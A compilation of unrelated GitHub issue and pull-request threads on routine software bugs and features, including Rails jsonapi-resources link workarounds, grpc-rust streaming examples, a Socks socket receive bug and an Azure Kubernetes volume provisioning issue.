Call setTaskDescription in your app in response to a state change or button click.
✔ Expected Behavior
Window title should be updated.
❌ Actual Behavior
The window title is not updated until you move the window or just click anywhere in the app it seems.
Other Software
No response
Please specify the version of Windows Subsystem for Android
2308.40000.3.0

I just pushed support for task label in Fulguris so you should be able to use it to reproduce the issue.
Go to Settings > Look & feel > General > Task label and set it to something other than app name. Then open a few tabs and switch between them.


ISSUE-7150 Add checks to load libs only in support environments.

To avoid attempts of native lib loading, only load the libs in environments currently  the native libs are build/provided for.
Motivation:
Netty should only attempt to load native libs, for environments that the native libs are provided, this avoids un-needed jvm warnings on isAvailable checks.
Modification:
Add checks for epoll, to only load in 64bit linux jvm
Add checks for kqueue, to only load in 64bit osx jvm
Result:
Fixes #https://github.com/netty/netty/issues/7150
If there is no issue then describe the changes introduced by this PR.

@johnou looks like pr build isn't working post recent tag. is some post tagging wash-up normally needed?

@michaelandrepearce AFAIR you need approval from one of the project admins to get your branch to run on CI...so wait for it  :D

Stand back... I am working on a fix

Let me close this and please check https://github.com/netty/netty/pull/7163.

@normanmaurer sure, the approach in your PR is what i was getting to on the issue discussion as an alternative option (better).


Add support for jobs with cron

It would be nice to have some support for jobs that will be "installed" the cron.
so we could define the jobs inside the makim, also it could reuse the targets defined, and using the cli it could create the job in the as a cron task.
for this we need to have root access. so maybe we could have some cron task folder for the user locally where we can add any job, with no super user power, and call that from a cron tab folder, where we will need root permissions  just once.
Example of makim file:
version: 1.0
groups:
  main:
    env-file: .env
    targets:
      clean:
        help: Use this target to clean up temporary files
        args:
          all:
            type: bool
            action: store_true
            help: Remove all files that are tracked by git
        run: |
          echo "remove file X"
      build:
        help: Build the program
        args:
          clean:
            type: bool
            action: store_true
            help: if not set, the clean dependency will not be triggered.
        dependencies:
          - target: clean
            if: {% raw %}{{ args.clean == true }}{% endraw %}
        run: |
          echo "build file x"
          echo "build file y"
          echo "build file z"

cron:  # or scheduler
  build:
    backend: crontab  # default
    schedule: "* * * * *"
    target: main.build
      args:
      clean: true
  clean:
    schedule: "* * * * *"
    target: main.clean

example of the CLI call:
makim cron start build
makim cron stop clean
makim cron run build
makim cron list

start: install and enable cron job
stop: disable cron job
run: execute the target
list: show all cron tasks and their status

some alternative for the backend: https://apscheduler.readthedocs.io/en/3.x/userguide.html

the storage could be sqlalchemy with sqlite
for concurrency-ish ... we could use asyncio


Links broken when used with scope module: routes

Hi,
we use a version parameter inside of the Accept header to be able to switch Api versions. The different versions are grouped in modules. And to remove these modules as namespaces from the generated URLs we use scope module:. This works great but the problem ist that the generated links inside a response still include the module.
The code just checks the module hierarchy of the resource class and completely ignores how rails generates the routes. (See: https://github.com/cerebris/jsonapi-resources/blob/master/lib/jsonapi/link_builder.rb#L102).
Also see #361 for a similar problem.
As a workaround we monkey patch the formatted_module_path_from_class method to return the correct path \api\. But that is not an ideal solution.
An example route file:
namespace :api do
  scope module: :v1, constraint: ApiConstraint.new(version: 1) do
    jsonapi_resources :my_resource
  end
end

And an example resource:
module Api
  module V1
    class MyResource < JSONAPI::Resource
      [...]
    end
  end
end

So Rails generates routes like: /api/my-resource
But the generated links look like this: /api/v1/my-resource
Sascha

:+1:
I have this issue as well, except I use my version in the url instead of the 'api' namespace.
routes.rb
constraints(subdomain: "api") do
  scope module: "api", defaults: { format: :json } do
    namespace :v1 do
      jsonapi_resources :news
    end
  end
end

In the JSON, I'm getting links like:
self: "http://api.iu.com:5000/api/v1/news/1"

When they should look like:
self: "http://api.iu.com:5000/v1/news/1"

Also related to:
https://github.com/cerebris/jsonapi-resources/issues/257
It would be nice to have a solution to handle this as we also version our API via headers and do not include the version in the path.

:+1:
@mitnal: Could you post the code for the monkey patch? Like you say, it's not ideal, but it's better than nothing at the moment.
Thanks in advance!

Borrowing from the gem's LinkBuilder tests, I added the following hacks to my app, for the moment.
With this, my links are pointing to the right place.
I'm matching the slash at the end because doing the one at the beginning would catch the '/api' in http://api.example.com.
# test/lib/jsonapi_test.rb

require 'test_helper'

class JSONAPITest < ActiveSupport::TestCase

  def setup
    @base_url        = "http://example.com"
    @route_formatter = JSONAPI.configuration.route_formatter
    @search          = searches(:exact) # Grabs one of my fixtures
  end

test "route without /api in path" do
    primary_resource_klass = API::SearchResource

    config = {
      base_url: @base_url,
      route_formatter: @route_formatter,
      primary_resource_klass: primary_resource_klass,
    }

    builder = JSONAPI::LinkBuilder.new(config)
    source  = primary_resource_klass.new(@search, nil)
    expected_link = "#{ @base_url }/searches/#{ source.id }"

    assert_equal expected_link, builder.self_link(source)
  end
end

# lib/extensions/jsonapi.rb

module JSONAPI
  class LinkBuilder

    private

    def formatted_module_path_from_class(klass)
      scopes = module_scopes_from_class(klass)

      unless scopes.empty?
        # The Main Hack: adding the #gsub
        "/#{ scopes.map(&:underscore).join('/') }/".gsub(/api\//, '')
      else
        "/"
      end
    end

  end
end

Since I'm not super familiar with Rails' internals, I'm not entirely clear how we would go about solving this. @mitnal et al, do you know where this lives, and what we'd need to add to solve the general case here?

@beechnut: I have a very simple workaround and it just ignores klass all together 😄
module JSONAPI
  class LinkBuilder
    def formatted_module_path_from_class(klass)
      '/api/'
    end
  end
end

I just checked and it should be possible to create links via Rails but I do not know why we need this big LinkBuilder klass. I assume there is some hidden complexity.
What I testes was the following:
Routes:
namespace :api do
  scope module: :v1, constraint: ApiConstraint.new(version: 1) do
    jsonapi_resources :my_resource
  end
end

Resource:
module Api
  module V1
    class MyResource < JSONAPI::Resource
      model_name 'MyResourceModel'
      [...]
    end
  end
end

Rails Console:
app.url_for(Api::V1::MyResource(MyResourceModel.last, nil)._model)
# "http://www.example.com/api/my-resource/ffd9304a-036a-4b14-a871-8e2c339d5de2"

So it should be possible to somehow use Rails to create the links. Unfortunately I have no time at the moment and to be honest I do not know JSON API well enough to know all the requirements for resource linking.
Also there seems to be a lot of code that is dedicated to create links and I just looked at this one method.

Clever -- that's much simpler! Since I have both Accept header-based versioning and an 'api' subdomain, I changed mine to:
def formatted_module_path_from_class(klass)
  '/'
end

Also, @mitnal: a heads-up on your last comment: the url_for call should have a .new.
app.url_for(Api::V1::MyResource.new(MyResourceModel.last, nil)._model)

@beechnut thx, fixed my code snipped.

:+1: thanks for the workarounds! but a fix would be splendid

possible related #636

Here's an alternate solution that removes a set of EXCLUDED_MODULES and also removes a version module by RegEx. These are unnecessary in my URLs because my Api namespace is constrained on the subdomain and the API version scope is constrained by the HTTP headers. Thanks to @beechnut for the starting point.
# lib/core_ext/jsonapi.rb

module JSONAPI
  class LinkBuilder

    EXCLUDED_MODULES = ['Api']
    EXCLUDED_VERSION_REGEX = /V\d{,2}/

    private

    def formatted_module_path_from_class(klass)
      scopes = module_scopes_from_class(klass)
      scopes -= EXCLUDED_MODULES
      scopes.reject! {|scope| scope=~ EXCLUDED_VERSION_REGEX}
      path = '/'
      unless scopes.empty?
        path += "#{ scopes.map(&:underscore).join('/') }/"
      end
      path
    end

  end
end

# lib/spec/jsonapi_spec.rb

require 'spec_helper'

describe 'JSONAPI::LinkBuilder extension' do
  let(:base_url) {'http://api.test.com'}
  let(:builder_klass) {JSONAPI::LinkBuilder}
  let(:route_formatter) {JSONAPI.configuration.route_formatter}

  describe '#formatted_module_path_from_class' do
    let(:primary_resource_klass) {Api::V1::UserResource}
    let(:user) {create(:user)}

    it 'should exclude API::V\d{,2} from path' do
      config = {
          base_url: base_url,
          route_formatter: route_formatter,
          primary_resource_klass: primary_resource_klass,
      }
      builder = builder_klass.new(config)
      source = primary_resource_klass.new(user, nil)
      expected_link = "#{ base_url }/users/#{ source.id }"
      expect(builder.self_link(source)).to eq(expected_link)
    end
  end
end

I think that you're on the way using app.url_for, however I'm not sure it's perfect just yet. This is mainly due to the fact that the Rails Routes have a variety of options that can be used:

subdomain constraints
other custom constraints (e.g. ApiConstraints as given above to provide versioning constraints)
path: nil

Really we should be using ActionDispatch::Routing::UrlFor if we're relying on the Rails Routing engine for inbound routing and not extracting the routing to elsewhere.
As such, we do need to know the controller and action to use in order to determine the route, yes?
include UrlFor
url_for(controller: 'users',
        action: 'new',
        message: 'Welcome!',
        only_path: true)

@ntippie your solution looks like it will work but is highly configured and needs mapping tightly with the selected routing structure.
Reading through the commentary with Devise routing (rabbit warren of https://github.com/cerebris/jsonapi-resources/issues/380 » https://github.com/rails/rails/issues/21231 » https://github.com/plataformatec/devise/pull/3714/files ) I'm now looking into how the Routing methods of JSONAPI::Resource are dealt with.

Bump.
This issue still exists.

Hi I'm new to use jsonapi-resources. In production, should I avoid using subdomain? It hasn't solved yet.

Does anyone have a solution for this issue yet?

This is what I ended coming up with to fix the issue of having /api/ in the links:
module JSONAPI   class LinkBuilder     def formatted_module_path_from_class(klass)       "/#{klass.to_s.split('::')[1].downcase}/"     end   end end

How do you include this monkey patch?
I tried adding require_relative '../lib/core_ext/json_api.rb' to the application.rbbut it didn't do anything.

Hi, is there a solution without monkey-patching. As I understand the problem is the same I have:
If in routes I have scope module: 'site'
and in views form_with model: @family generates action="/site/families/14" but should generate action="/families/14"
Thanks


Have the Gitter importer soft-deactivate inactive users

This picks up on the work started by @alexmv  (starting with a small commit fixing avatar handling) to allow using soft deactivation like we do for Slack imports, to avoid creating too many UserMessages when importing. These commits for now are necessary refactoring to make the long_term_idle_helper general enough to be usable by non-Slack import systems. They will then allow a follow-up of using it in Gitter imports like in the last commit - which requires more testing first though, so marked as do not merge

The prep commits all lgtm.

I added an extra commit on top  to try to address https://github.com/zulip/zulip/pull/22170#discussion_r906432908 though not sure if I understood correctly and if it provides an improvement.
Should be ready for review/merging though - if the last commit is dubious we could leave it until Alex comes back to review :thinking:

@timabbott marking this for integration review, since it looks like that's the next step here.

Merged, thanks @mateuszmandera!
However, while reviewing this, I noticed what I think is an important bug in this code path, which is that the "60 days" code doesn't work at all. In particular, NOW - timestamp < 60 is checking for 60 seconds, not 60 days, so at present we're really just doing the "10 messages" thing.
Can you fix that in a quick follow-up PR? (It's not really a regression in my view, and I didn't want to have to reread this again, so figure a follow-up is better).


Added user_playlist_unfollow() method

I've used this API wrapper extensively for the last few months, keep up the good work! I needed the unfollow a playlist endpoint for a project, noticed there wasn't one already written so I added my own. I also removed an extra line between methods, to keep things PEP8.
I noticed there was a PR by another user for the same method back in December 2015, but I figure it's a bit easier to use this one since I made the changes on top of the latest version of the master repo. Cheers!

thanks for the PR, apologies for the 7(!) month delay in processing it!


[HOLD for payment 2022-03-08] Android - Status bar color is not same as the main background color - reported by Neyaz Ahmad

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open app
Check the top bar

Expected Result:
Top bar should be same color as background
Actual Result:
There is a slight difference in colors
Workaround:
Can the user still use Expensify without this being fixed? Have you informed them of the workaround?
Platform:

Where is this issue occurring?

Android

Version Number: 1.1.26-0
Reproducible in staging?: Y
Reproducible in production?: Y
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation

Expensify/Expensify Issue URL:
Issue reported by:  @mdneyazahmad
Slack conversation: https://expensify.slack.com/archives/C01GTK53T8Q/p1641228863389000
View all open jobs on GitHub
job here

Triggered auto assignment to @Gonals (Engineering), see https://stackoverflow.com/c/expensify/questions/4319 for more details.

Triggered auto assignment to @jboniface (External), see https://stackoverflow.com/c/expensify/questions/8582 for more details.

job here

🎀👀🎀 C+ reviewed
@deetergp Looks like @sobitneupane's proposal does the job.
Both setBackgroundColor('transparent') and setTranslucent(true) are required

I agree with @rushatgabhane, that @sobitneupane's solution should get the job done. Let's hire them!

@sobitneupane can you apply to the job here?

@sobitneupane can you apply to the job here?

Applied.

The solution for this issue has been :rocket: deployed to production :rocket: in version 1.1.40-2 and is now subject to a 7-day regression period :calendar:. Here is the list of pull requests that resolve this issue:

https://github.com/Expensify/App/pull/7751

If no regressions arise, payment will be issued on 2022-03-08. :confetti_ball:

paid for contributor and c+

@jboniface I noticed that I was not hired and paid for reporting this issue. Am I eligible for reporting bonus? Meanwhile I applied from Upwork just in case. Thank you

ah, yeah, sorry, you can. i hired so once you accept it i will pay. i recommend posting back here again when you do so i will see it.

@jboniface I accepted the offer. Thank you!

ok that's all set!


Do you have a time schedule  to release 3.0.0.M2, or a quick version likes 3.0.0.M1x as a small milestone

no schedule for now


High disc usage for no apparent reason

The node suddenly has a high disc usage. It is not clear to me when or why this happened.
The dashboard shows that the database size fluctuates between 15 and 25 GB within a few minutes.
Pruning and spamming are not active.
To Reproduce
No idea
Environment information:
Ubuntu 20.04
Hetzner CPX31 (Hornet only)
"engine": "pebble",
Hornet Build 1d5576e
Stack-Dump: https://ybin.me/p/8175554e19c667e4#gTF5smDiVV8reekd7gtV1Ie0Jw9KE4E16uKw8FY2zuk=
memory_profile.pdf

Is it still ongoing? Do you have logs about current incoming MPS?

I restarted the node. Now the problem is gone. But here are the last hours before the restart.
hornet_log.zip

Is it normal that you have around 200 new "in" messages? Or is that gone after the restart?

10 neighbours 🥴

Can't say "no"

It happend ageint (Build: 566307d) No spamming, no pruning. After about a day without having done anything with the node.

Could you do a CPU Profile with pprof in the moment it happens?

How to take a CPU profile
First install go and the necesarry lib  (must be done on the HORNET node)
sudo apt install graphviz
Take a CPU Profile (must be done on the HORNET node):
go tool pprof --pdf http://localhost:6060/debug/pprof/profile?seconds=30 > cpu_profile.pdf

okay I will if it happens again.
DB-Size Last 2 hours

The DB engine (pebble) is running the compaction.

Happend again.
graphviz is already the newest version (2.42.2-3build2).
root@Chrysalis:~# go tool pprof --pdf http://localhost:6060/debug/pprof/profile?seconds=30 > cpu_profile.pdf
....
Fetching profile over HTTP from http://localhost:6060/debug/pprof/profile?seconds=30
Saved profile in /root/pprof/pprof.hornet.samples.cpu.001.pb.gz
But this is (unpacked) not a PDF. Is the command correct?
pprof.hornet.samples.cpu.001.pb.gz

there is a pdf in the folder you called that command, I'm sure ;)

ups
cpu_profile.pdf

Yeah as I thought, its the compaction of the database.
This is something which is triggered by the DB engine itself. It should calm done after it finished.
How long does this process take?
It's not a "bug" from our side, but intended behavior by the db.

When I first reported it, it had been going on for about 4 hours.

Fixed with #974


Streaming sample

Can you please provide a route guide server and client in the examples (you've already got the protobuf there) so we can see how to properly handle a streaming request and streaming response. I'm struggling with how to extract individual elements of type T from the StreamingRequest<T> . Various forms of iter() and into_iter() don't appear to work and a sample would likely clear that up.

Yes, I am stuck on the exact same issue right now; a streaming client sample would be extremely helpful.

Aha, I figured it out. Ping: @autodidaddict
Given a proto like:
message ListRequest {
}

message ListResponse {
    string filename = 1;
}

service MyService {
    rpc List(ListRequest) returns (stream ListResponse) {}
}

The server can write to the stream like:
fn list(
    &self,
    _m: grpc::RequestOptions,
    _req: ListRequest,
) -> grpc::StreamingResponse<ListResponse> {
    // Send back 13 dummy list response objects
    let iter = iter::repeat(())
        .map(|_| {
            let s = "MyTestFileName.bin".to_owned();
            let mut resp = ListResponse::new();
            resp.set_filename(s);
            resp
        })
        .take(13);
    grpc::StreamingResponse::iter(iter)
}

And the client can consume the stream like:
let list_req = ListRequest::new();
let list_res = client.list(grpc::RequestOptions::new(), list_req);
match list_res.wait() {
    Err(e) => panic!("{:?}", e),
    Ok((_, stream)) => {
        for stream_item in stream {
            let response = stream_item.unwrap();
            println!("> {}", response.get_filename());
        }
    }
}

It would be nice to include the canonical route_guide example for grpc-rust usage, but at least I'm now using streaming rpcs without any issue using this library.
Hope that helps!
Graham

Question being still: how can I sit on a streaming response and get the items before connection has been closed/EOF'ed. The wait() blocks right now simply until response is finished ...

OK, the answer is super elegant (but takes a lot of code reading to get there ;-)
`
let c : StreamingResponse = client.somecall();
c
.map_items(|i| println!("item: {:?}", i) )
.into_future()
.wait();
`

I wonder if there's also a better approach server-side to stream results async and then return the final response in a more begin/end friendly manner (i.e. keep the connection open and periodically send responses over to the client instead of waiting on a thread for all the data to be returned)

I'd also love to see an example of how a bi-directional RPC call is supposed to work; route guide has a bi-di RouteChat RPC call.
From what I can tell of the generated code, there is no way to hold on to the request and response streams simultaneously.  I'm trying to integrate with a third-party RPC server that has a (in my opinion, poorly designed) interface that takes a stream of requests and gets back a stream of responses.  The request stream needs access to the response stream so it can read back responses to send more requests.
This doesn't seem possible to do with the generated code from grpc-rust.
Here's an example protobuf:
service RpcExample {
 rpc Example(stream Message) returns (stream Message);
}

And here's the generated signature for this RPC call:
fn example(&self, o: ::grpc::RequestOptions, p: ::grpc::StreamingRequest<super::RpcExample::Message>) -> ::grpc::StreamingResponse<super::RpcExample::Message> {
    self.grpc_client.call_bidi(o, p, self.method_Example.clone())
}

This call will move the request stream and get back the response stream.  That works for sending all the requests at once and then receiving all of the responses, but that's not really the intention of bi-directional in gRPC, since requests and responses can be interleaved.
For comparison, grpc-rs generates code for the route guide example that can be invoked like so:
let (mut sink, mut receiver) = client.route_chat().unwrap();

This is more of what I would expect bi-di to look like and is quite similar to how the method would be generated for languages like Go and C#.
@stepancheg am I overlooking something that grpc-rust generates that would support this mode of operation?  Thanks!

No, first, requests and responses can be interleaved.
Second, anyway, in master grpc-rust API is significantly changed (user now takes Sink instead of providing Stream).
Now I need to implement route guide.

@stepancheg Thank you. Looking forward to the guide.

This commit adds route guide server: https://github.com/stepancheg/grpc-rust/commit/0f1faf9d9930c0243871fb15f7bd11d7c150836c
Seems to be compatible with go client.


Does Dora-Dataflow not support multiple Dynamic inputs?

Describe the bug
When I use multiple Dynamic nodes in a Dataflow, the Dataflow cannot capture the Dynamic inputs after starting (no response). Also, when I run python dynamic.py, there is no response.
I would like to ask, is this a bug or the current design, or is the Dynamic structure designed this way? Will this issue be fixed in future versions?

Describe the bug
When I use multiple Dynamic nodes in a Dataflow, the Dataflow cannot capture the Dynamic inputs after starting (no response). Also, when I run python dynamic.py, there is no response.
I would like to ask, is this a bug or the current design, or is the Dynamic structure designed this way? Will this issue be fixed in future versions?

Hi! Thanks for the report,

what is exactly the version of Dora you are using ？ crates.io 0.3.5, main branch ? Fix tag ?

can you give us the exact dataflow description (YAML) ?

can you give us the python code of your dynamic nodes ?

Describe the bug
When I use multiple Dynamic nodes in a Dataflow, the Dataflow cannot capture the Dynamic inputs after starting (no response). Also, when I run python dynamic.py, there is no response.
I would like to ask, is this a bug or the current design, or is the Dynamic structure designed this way? Will this issue be fixed in future versions?

Hi! Thanks for the report,

what is exactly the version of Dora you are using ？ crates.io 0.3.5, main branch ? Fix tag ?
can you give us the exact dataflow description (YAML) ?
can you give us the python code of your dynamic nodes ?

@Hennzau

We are using version 3.5 of dora-rs, and the version is the main branch.
We used the dynamic method for nodes with node_id names web_search_task and reasoner_task_input.
task_input.py is our Python code.

nodes:
  - id: web_search_task
    path: dynamic
    inputs:
      direction: dora/timer/secs/1
    outputs:
    - task
  - id: web_search_agent
    operator:
      python: ./scripts/web_search_agent.py
      inputs:
        web_search_task: web_search_task/task
      outputs:
      - web_search_results
      - web_search_resource
      - web_search_aggregate_output
  - id: more_question_agent
    operator:
      python: ./scripts/more_question_agent.py
      inputs:
        web_search_aggregate_output: web_search_agent/web_search_aggregate_output
      outputs:
      - more_question_results
      - web_search_aggregate_output
  - id: web_search_output
    operator:
      python: ./scripts/web_search_output.py
      inputs:
        web_search_aggregate_output: more_question_agent/web_search_aggregate_output
      outputs:
      - web_search_output
      - web_search_results
      - web_search_resource
      - more_question_results
      - web_search_task
  - id: reasoner_task_input
    path: dynamic
    inputs:
      direction: dora/timer/secs/1
    outputs:
    - reasoner_task
  - id: reasoner_agent
    operator:
      python: ./scripts/reasoner_agent.py
      inputs:
        reasoner_task: reasoner_task_input/reasoner_task
        more_question_results: more_question_agent/more_question_results
      outputs:
      - reasoner_result
  - id: reasoner_output
    operator:
      python: ./scripts/reasoner_output.py
      inputs:
        reasoner_result: reasoner_agent/reasoner_result
      outputs:
      - reasoner_output

Apart from different node_ids, other results of the dynamic nodes are the same.
import json

from dora import Node
import pyarrow as pa

node = Node("web_search_task")

event = node.next()
task_data = input('Please enter your task:  ',)
node.send_output('task',pa.array([json.dumps(task_data)]),event["metadata"])

Hi, sorry for the long time between my last response. Did you succeed in receiving multiple inputs?

Hi, sorry for the long time between my last response. Did you succeed in receiving multiple inputs?

Thank you so much, we have successfully resolved the issue


[terra-core] Fix broken links in docs

Summary
fixed broken links in docs.
Deployment Link

https://terra-core-deployed-pr-#.herokuapp.com/
Testing

Additional Details

Thank you for contributing to Terra.
@cerner/terra

@saket2403 this one is ready to merge after you fix the merge conflicts.


Fix unique key prop warnings

It's better to wait for it to land on the main branch before closing because technically others wouldn't "see" the fix yet.


Support Dataview fields as Board columns

Currently the board supports mapping tags to columns.
This works really nicely.
It would be nice if dataview fields were supported as well.
E.g., Using a similar syntax to how tag-based columns are used now, dataview field columns could be defined as:
project-status::status Stalled
project-status::active Active

etc.
Variants might allow patterns:
project-status::status/.*$/ Status

Reason being that most other Obsidian plugins look at a dataview metadata for a lot of these information, and we would neet to maintain it twice.

linking with #123 as that is also Dataview related


Update api-version in Azure.ResourceManager.HealthDataAIServices to 2024-09-20

Contributing to the Azure SDK
Please see our CONTRIBUTING.md if you are not familiar with contributing to this repository or have questions.
For specific information about pull request etiquette and best practices, see this section.

This LGTM since it does not have an API change at all. Could we update the changelog file to include your changes? And if you have a desired release date, please change the "Unreleased" in the changelog to that desired release date.

Added to the changelog was not sure on the release date @jovinson-ms please confirm.

I encountered this error: "Invalid date [ 2024-11-11 ]. The date for the changelog being released must be the latest in the file." as seen in this check: https://github.com/Azure/azure-sdk-for-net/pull/46987/checks?check_run_id=32601326345
The issue seems to have been caused by the Azure SDK bot's version increment, which set the release date to "Unreleased" as seen in this commit: https://github.com/Azure/azure-sdk-for-net/commit/766d966d393a317a869788b08aa4724a237bfb7e
Given the unusual circumstances, I opted to change "Unreleased" to the actual date the commit was made (2024-08-15), and added a note to the "Features Added" section explaining the situation.
Could someone please review this change and confirm if I've followed the correct procedure?


renovate: 38.46.2 -> 38.55.4

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for renovate is: Cross-platform Dependency Automation by Mend.io
meta.homepage for renovate is: https://github.com/renovatebot/renovate
meta.changelog for renovate is: https://github.com/renovatebot/renovate/releases/tag/38.55.4
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 38.55.4 with grep in /nix/store/kw4fxza4868hihxhqdii8plq8azlpxw4-renovate-38.55.4
found 38.55.4 in filename of file in /nix/store/kw4fxza4868hihxhqdii8plq8azlpxw4-renovate-38.55.4

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

renovate

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/kw4fxza4868hihxhqdii8plq8azlpxw4-renovate-38.55.4 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A renovate https://github.com/r-ryantm/nixpkgs/archive/b41c7a0208b80e216e441d9d355b3001bc1ba424.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/b41c7a0208b80e216e441d9d355b3001bc1ba424#renovate

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/kw4fxza4868hihxhqdii8plq8azlpxw4-renovate-38.55.4
ls -la /nix/store/kw4fxza4868hihxhqdii8plq8azlpxw4-renovate-38.55.4/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

renovate

Maintainer pings
cc @nycodeghg @natsukium for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

@NixOS/nixpkgs-merge-bot merge


Fix external printer don't print until key press

Closes https://github.com/nushell/reedline/issues/757

Thanks


improve mx search

We also need to run management.call_command("modo", "check_mx", "--skip-admin-emails", "--domain=%s" % domain.id) when a domain is added. Any favourite way to do that ?

Current coverage is 74.98% (diff: 46.66%)

Merging #923 into master will decrease coverage by 0.06%

@@             master       #923   diff @@
==========================================
  Files           131        131
  Lines          6966       6973     +7
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           5228       5229     +1
- Misses         1738       1744     +6
  Partials          0          0

Powered by Codecov. Last update ce387cc...c44800a


Unknown option "-o" - no matter what flags I pass to the standalone binary

Just downloaded the 0.5.3 binary on macOS Intel, when I run ./silverbullet I get:
error: Unknown option "-o". Did you mean option "-h"?
No matter what flags I pass, I get this. I can't see any alias or similar that would be kicking in.
@zefhemel says:
Oh yeah, I see the same that's weird. Haven't tested the standalone binaries for a while

Will be fixed in next release


hasCustomMarkdownPreview disables preview buttons in context menus as well

hasCustomMarkdownPreview allows extensions to disable the "Open Preview" button in markdown files. This option should also disable the "Open Preview" button in the context menus.

Originally posted by @rchiodo in https://github.com/microsoft/vscode/issues/136388#issuecomment-983149447

/verified
In stable:

In insiders:


Ambassador needs to understand listeners better

Right now, Ambassador can configure up to two Envoy listeners, obeying its own rules around TLS and redirect_cleartext_from. We need to make the Envoy listener more of a first-class object as we start needing to interact more with things like Amazon ELBs, and Envoy SNI support, etc. etc.

Would it affect redirect_cleartext_from when we use ELB? The TLS termination happens at ELB, and we still would like to do the redirection from HTTP to HTTPS!


FIX: MessageBus stucked in infinite loop.

@jeremyevans this is a bit of fancy we probably want to add in to the pg adapter as well, not something we need for 2.0 release but possibly at some point

@SamSaffron In memory backlog support is not present in the postgres or memory backends, only in the redis backend, so this wouldn't apply to the postgres backend.

Sorry, I should have expanded.
PG can also be in a readonly status during failover, so it may make sense
to add support for an in-memory backlog, not something that we need right
now, but a possibility.
On Tue, Mar 8, 2016 at 5:19 AM, Jeremy Evans<EMAIL_ADDRESS>wrote:

@SamSaffron https://github.com/SamSaffron In memory backlog support is
not present in the postgres or memory backends, only in the redis backend,
so this wouldn't apply to the postgres backend.
—
Reply to this email directly or view it on GitHub
https://github.com/SamSaffron/message_bus/pull/84#issuecomment-193378801
.

I get the feeling that an in memory backlog is less important for PostgreSQL than for Redis.  In general, if PostgreSQL is being used, it's probably because it's also the main database for the site and the user wants to reduce the number of dependencies.  If the PostgreSQL connection is down, the whole site is probably down.  This isn't likely to be true for Redis, because few people would use Redis as the main database for a site.
That said, I'm not against supporting it.  The reason it isn't supported in the postgres backend:

No tests for the feature
The redis backend only uses it when there is a Redis specific exception which I'm not sure there is a PostgreSQL equivalent.


Socks times out when receiving all data where the messagedata.count % 512 == 0

extension TCPReadableSocket {

    public func recv(maxBytes: Int = BufferCapacity) throws -> [UInt8] {
        let data = Bytes(capacity: maxBytes)
        let flags: Int32 = 0 //FIXME: allow setting flags with a Swift enum
        let receivedBytes = socket_recv(self.descriptor, data.rawBytes, data.capacity, flags)
        guard receivedBytes > -1 else { throw SocksError(.readFailed) }
        let finalBytes = data.characters[0..<receivedBytes]
        let out = Array(finalBytes.map({ UInt8($0) }))
        return out
    }

    public func recvAll() throws -> [UInt8] {
        var buffer: [UInt8] = []
        let chunkSize = 512
        while true {
            let newData = try self.recv(maxBytes: chunkSize)
            buffer.append(contentsOf: newData)
            if newData.count < chunkSize {
                break
            }
        }
        return buffer
    }
}

Here at the line if newData.count < chunkSize every user will get a timeout when the last chunk received (newData) has a count of 512 bytes. This has been haunting us for days until we realised the socket library might be at fault.

Damn, can you please send a PR with a failing test showing this? Thanks so much for reporting it!

Hmm isn't that a general issue of receiving data that evenly divides into your chunk size? If we're receiving 1024, for instance, in the first loop, we'll receive newData.length == 512, we'll append it to buffer, and check: newData.count (512) < chunkSize (512) needs to fail, otherwise we wouldn't read the rest.
The real issue is that recv doesn't return 0 bytes when there's no more data, instead of blocking.

Nothing specifically.
But if you take a custom TCP server, make a TCP client with Socks, let the server send 512 bytes and keep the socket open. The client will never receive the 512 bytes. Same goes for messages of 1024, 2048 bytes etc

A way to fix this would be to find out how to ensure recv returns 0 bytes when there's no data left instead of blocking.

Since nobody picked this up yet I'll propose my (semi-)solution. Increase the default recv chunk size to UInt16.max or UInt16.max - 1.


Multiple clusters - dynamic PVCs try to access wrong storage account (of other resource group)

Is this a request for help?: Yes

Is this an ISSUE or FEATURE REQUEST? (choose one): Issue

What version of acs-engine?: 0.16.0

Orchestrator and version (e.g. Kubernetes, DC/OS, Swarm): Kubernetes 1.9.7
What happened: We are provisioning persistent volumes using the default storage class, and this worked fairly good in 1.9.6, but there were some issues when pods were rescehduled, and the volumes had to be reattached to a different node. Thus we upgraded to 1.9.7. How we reproduced:

In resource group A, provision a cluster. There, create a PVC using dynamic provisioning. This creates (implicitly) a storage account in this resource group, seemingly called ds<some hex number>
In a second resource group B (in the same subscription), create another cluster (this works), and then try to provision a dynamic volume. This fails with the following error message (in kubectl describe pvc):

Failed to provision volume with StorageClass "default": azureDisk - account ds6c822a4d484211eXXXXXX does not exist while trying to create/ensure default container

Now, the freaky part here is that this storage account, which is being referred to in resource group B, actually exists, but in resource group A.
What you expected to happen: The cluster in resource group B must create its own storage account for dynamic volumes.

We will revert to 1.9.6 to see whether that helps for now, but as stated, 1.9.6 has other issues :-(. Chances are "good" that the most recent 1.10.1 release also has this exact same problem.

